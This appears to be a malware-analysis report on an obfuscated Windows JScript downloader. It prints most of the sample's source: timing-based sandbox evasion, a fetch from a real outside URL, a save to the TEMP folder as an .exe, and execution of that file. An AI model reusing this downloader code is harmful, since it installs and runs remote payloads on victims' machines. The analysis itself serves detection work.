Suspicious ^66% javascript-malware-collection Download

20160328_25bd4dcb3f56b7f14bf62db1efc1b29c.js

Downloads and executes remote payload

JScript conditional sleep jitter evasionWScript bracket-member access in source text

SHA-25645644b0744c7ba023c2482a7eb4f81c1d419f1903d73f8127ccc4172396a7de1

Evidence

UTC millisecond jitter sleep check lines 1–36

1var Imtntwa = false;
2var Tokclmqd = "CreateObject";
3var Bhuotylac = function Rakipmqedc() {return WScript[Tokclmqd]("WScript.Shell");}();
4var Wfoqkvx = 123213;
5var Bneqhx = "MSXML2.XMLHTTP";
6var Pjhuz = 2123213;
7var Eiskj = 0;
8function Fplpb(Tgtwomhsal){Bhuotylac["Run"](Tgtwomhsal, Eiskj, Eiskj);};
9function Znwgq(){return Bneqhx;};
10function Xtzuku(Kuhexupl, Hszgr){return Kuhexupl - Hszgr;};
11function Wrotrbrazx(){return Tokclmqd;};
12/*@cc_on
13  @if (@_win32 || @_win64)
14    Imtntwa = true;
15  @end
⋯6 lines
22function Yvnota()
23{
24var Vtdkd = new this["Date"]();
25var Sjyse = Vtdkd["getUTCMilliseconds"]();
26WScript["Sleep"](Hbydmyw());
27var Vtdkd = new this["Date"]();
⋯9 lines

English function-word token "for" lines 38–42

38:3… 
39var Lseoezew = false;
40var Yineeylarf = false;
41for (var Ctdqzbb = Eiskj; Ctdqzbb < Hbydmyw() * 1; Ctdqzbb++){if (Yvnota() != Eiskj){
42Lseoezew = tru …

Contains a hardcoded insecure HTTP URL lines 49–63

49:5… Lseoezew && Nkgbmz() && Yineeylarf){
50function Tsypbn() {return Bhuotylac["ExpandEnvironmentStrings"]("%TEMP%/") + "mqXba2stFR.exe";};
51 Rufwzqgnjc = Znwgq();
52 Hszgkbqwm = WScript[Tokclmqd](Rufwzqgnjc);
53 var Ffnwera = 1;
54 while (Ffnwera){
55try {
56Hszgkbqwm[Tgjcanbrqm]("GET", "http://energyunlimited.co.nz/o2apf", false);
57Hszgkbqwm["send"]();
58Iffje = "Sleep";
59do {WScript[Iffje](Hbydmyw() * 11)} while (Hszgkbqwm["readystate"] < 2 * 2);
60Ffnwera = Eiskj;
61} catch(Wtuaqpvp){Ffnwera = ("asdfa", "fadfasdf", "afdafa", 2);};
62}
63function Lbruwgso(Yppnxbalm) {v …

Calls computed member from function result lines 63–75

63:43…  (1, 2, 3, 4, 5, Yppnxbalm); return Opbxjr;};
64Ehmxypk = WScript[Wrotrbrazx()]("ADODB.Stream");
65Rufwzqgnjc = Ehmxypk;
66Rufwzqgnjc[Tgjcanbrqm]();
67Rufwzqgnjc["type"] = Lbruwgso(1);
68Rufwzqgnjc["write"](Hszgkbqwm["ResponseBody"]);
69Ehmxypk["position"] = Lbruwgso(Eiskj);
70Rufwzqgnjc["Save" + "ToFile"](Tsypbn(), 2);
71Ehmxypk["close"]();
72Fplpb(Tsypbn());
73}
74}
75